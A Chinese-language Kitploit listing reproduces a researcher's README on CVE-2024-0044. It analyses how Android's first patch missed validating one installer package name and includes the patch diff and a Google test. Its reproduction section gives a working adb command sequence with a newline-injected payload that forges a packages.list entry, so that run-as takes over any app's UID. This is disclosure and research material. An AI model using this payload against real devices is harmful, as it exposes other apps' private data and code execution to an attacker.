Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/canyie/cve-2024-0044
Android安全权限提升漏洞分析漏洞利用移动安全论文与研究学习与教育二进制利用
GitHubcanyie/cve-2024-0044

CVE-2024-0044

CVE-2024-0044初始补丁绕过概念验证及文档,该漏洞为Android框架漏洞,可通过安装器包名注入实现从ADB到任意应用UID的权限提升。

查看仓库
1802971年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-0044/A-307532206 是 Android 框架中的一个高危漏洞,允许具有 adb 访问权限的攻击者以任意应用的 UID 运行任意代码。该漏洞最初由 Meta Red Team X 的 Tom Hebb 发现。你可以在互联网上找到许多关于利用此漏洞的文章,例如这篇和这篇。更多信息请查看此博客:https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

该漏洞的补丁已包含在 2024年3月 Android 安全公告中,但现在我提出了一个绕过该补丁的利用方法。新补丁已包含在 2024年10月 Android 安全公告中,CVE ID 同为 CVE-2024-0044。安全补丁级别早于 2024-10-01 的 Android 12-13 设备容易受到此问题的影响。

此仓库包含最小可重现 PoC 和分析报告。

原始补丁有什么问题?

该补丁对传递给 PackageManagerService 的安装程序包名添加了验证:

diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

可以看到,如果 params.installerPackageName 不是合法的 Android 包名,它将被重置为 null。然而,在下一行,当 params.installerPackageName 为 null 或无效时,requestedInstallerPackageName 可以是 installerPackageName。

那么 installerPackageName 是什么?

让我们来看看 createSessionInternal 方法,补丁就是添加在这里的:

    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

可以看到,installerPackageName 是一个独立的参数,并非来自 param。原始补丁验证了 params.installerPackageName,但忘记验证 installerPackageName。

复现

你可以直接使用 Tom Hebb 博客中的原始漏洞利用代码来复现。此仓库也包含最小可重现 PoC。如果你想测试我的 PoC,只需构建它,将生成的 apk 推送到 /data/local/tmp/poc.apk,然后使用 adb shell 运行以下代码:

APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

将 <victim uid> 替换为受害应用的 UID。

如果你想重新玩一遍,运行 adb uninstall top.canyie.cve_2024_0044 然后重新运行上面的代码。

为什么它又发生了两次?

问题看似很明显,它是如何逃过所有人眼睛的?

嗯,Google 确实为这个问题添加了一项测试以确保它被修复:

            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });
下载工具